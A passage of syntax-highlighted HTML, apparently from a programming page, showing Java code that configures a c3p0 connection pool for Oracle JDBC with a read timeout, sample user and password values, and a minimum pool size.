0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// NOTE: once you decide to use cpds.setProperties() to set some</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// connection properties, all properties must be set, including</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// user/password(although you have set them by separated API, such as</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// cpds.setUser, cpds.setPassword), otherwise a exception</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// "java.sql.SQLException: 调用中无效的参数" will be thrown out.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Properties</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> prop </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">new</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Properties</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
prop</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setProperty</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"oracle.jdbc.ReadTimeout"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">,</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">timeout </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">*</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">1000</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">""</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
prop</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setProperty</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"user"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">,</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"ramonal"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
prop</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setProperty</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"password"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">,</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"ramonal"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setProperties</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">prop</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// the settings below are optional -- c3p0 can work with defaults</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setMinPoolSize</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">1</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
